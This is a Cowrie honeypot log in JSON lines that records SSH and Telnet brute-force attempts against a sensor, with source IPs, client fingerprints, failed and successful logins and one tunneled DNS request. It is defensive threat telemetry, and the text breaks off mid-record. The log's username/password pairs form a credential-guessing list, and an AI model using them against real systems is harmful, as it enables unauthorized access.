{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:51.356916Z","src_ip":"91.92.40.176","session":"0f54073c1122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:52.440307Z","src_ip":"91.92.40.176","session":"0f54073c1122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":41710,"dst_ip":"10.17.0.5","dst_port":22,"session":"17e30d7db5cc","protocol":"ssh","message":"New connection: 143.20.185.207:41710 (10.17.0.5:22) [session: 17e30d7db5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:55.589831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:55.593537Z","src_ip":"143.20.185.207","session":"17e30d7db5cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:55.808507Z","src_ip":"143.20.185.207","session":"17e30d7db5cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined#8VCPU32GBAMD","message":"login attempt [root/undefined#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:56.153387Z","src_ip":"143.20.185.207","session":"17e30d7db5cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:08:57.284045Z","src_ip":"143.20.185.207","session":"17e30d7db5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":35220,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8f88b805564","protocol":"ssh","message":"New connection: 198.57.219.18:35220 (159.203.135.109:22) [session: e8f88b805564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:00.877453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:00.883197Z","src_ip":"198.57.219.18","session":"e8f88b805564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:00.973422Z","src_ip":"198.57.219.18","session":"e8f88b805564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toshi2024","message":"login attempt [root/toshi2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:01.236063Z","src_ip":"198.57.219.18","session":"e8f88b805564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:02.609006Z","src_ip":"198.57.219.18","session":"e8f88b805564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":1196,"dst_ip":"10.17.0.5","dst_port":22,"session":"7418e1e46b9f","protocol":"ssh","message":"New connection: 176.53.159.196:1196 (10.17.0.5:22) [session: 7418e1e46b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:30.552468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:30.556443Z","src_ip":"176.53.159.196","session":"7418e1e46b9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:30.657253Z","src_ip":"176.53.159.196","session":"7418e1e46b9f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:30.965951Z","src_ip":"176.53.159.196","session":"7418e1e46b9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:31.069102Z","session":"7418e1e46b9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:31.171518Z","src_ip":"176.53.159.196","session":"7418e1e46b9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:31.277531Z","src_ip":"176.53.159.196","session":"7418e1e46b9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":45760,"dst_ip":"159.203.135.109","dst_port":22,"session":"122f89ae1746","protocol":"ssh","message":"New connection: 177.76.134.52:45760 (159.203.135.109:22) [session: 122f89ae1746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:34.784659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:34.787816Z","src_ip":"177.76.134.52","session":"122f89ae1746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:34.971678Z","src_ip":"177.76.134.52","session":"122f89ae1746","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test01","password":"abc123","message":"login attempt [test01/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:35.572355Z","src_ip":"177.76.134.52","session":"122f89ae1746","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.48220920562744,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:36.564483Z","src_ip":"170.64.224.25","session":"42e7c9054214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:36.707635Z","src_ip":"177.76.134.52","session":"122f89ae1746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":49290,"dst_ip":"10.17.0.5","dst_port":22,"session":"312dea6813b3","protocol":"ssh","message":"New connection: 103.82.36.79:49290 (10.17.0.5:22) [session: 312dea6813b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:45.631129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:45.634522Z","src_ip":"103.82.36.79","session":"312dea6813b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:45.883098Z","src_ip":"103.82.36.79","session":"312dea6813b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:46.638952Z","src_ip":"103.82.36.79","session":"312dea6813b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:09:47.889854Z","src_ip":"103.82.36.79","session":"312dea6813b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":42214,"dst_ip":"10.17.0.5","dst_port":22,"session":"16cb59f83af0","protocol":"ssh","message":"New connection: 147.45.199.80:42214 (10.17.0.5:22) [session: 16cb59f83af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:01.195919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:01.200176Z","src_ip":"147.45.199.80","session":"16cb59f83af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:01.302941Z","src_ip":"147.45.199.80","session":"16cb59f83af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oblako","message":"login attempt [root/oblako] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:01.602679Z","src_ip":"147.45.199.80","session":"16cb59f83af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:02.709972Z","src_ip":"147.45.199.80","session":"16cb59f83af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":48402,"dst_ip":"10.17.0.5","dst_port":22,"session":"71886284518f","protocol":"ssh","message":"New connection: 162.241.239.241:48402 (10.17.0.5:22) [session: 71886284518f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:23.829073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:23.834098Z","src_ip":"162.241.239.241","session":"71886284518f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:23.857427Z","src_ip":"162.241.239.241","session":"71886284518f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rndr","password":"rndr789","message":"login attempt [rndr/rndr789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:23.930104Z","src_ip":"162.241.239.241","session":"71886284518f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:24.955859Z","src_ip":"162.241.239.241","session":"71886284518f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57574,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab82f7e424a4","protocol":"telnet","message":"New connection: 137.184.5.188:57574 (159.203.135.109:23) [session: ab82f7e424a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:27.163628Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":37042,"dst_ip":"10.17.0.5","dst_port":22,"session":"b00c36d9b018","protocol":"ssh","message":"New connection: 91.92.40.10:37042 (10.17.0.5:22) [session: b00c36d9b018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:27.753855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:10:28.436545Z","src_ip":"91.92.40.10","session":"b00c36d9b018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SS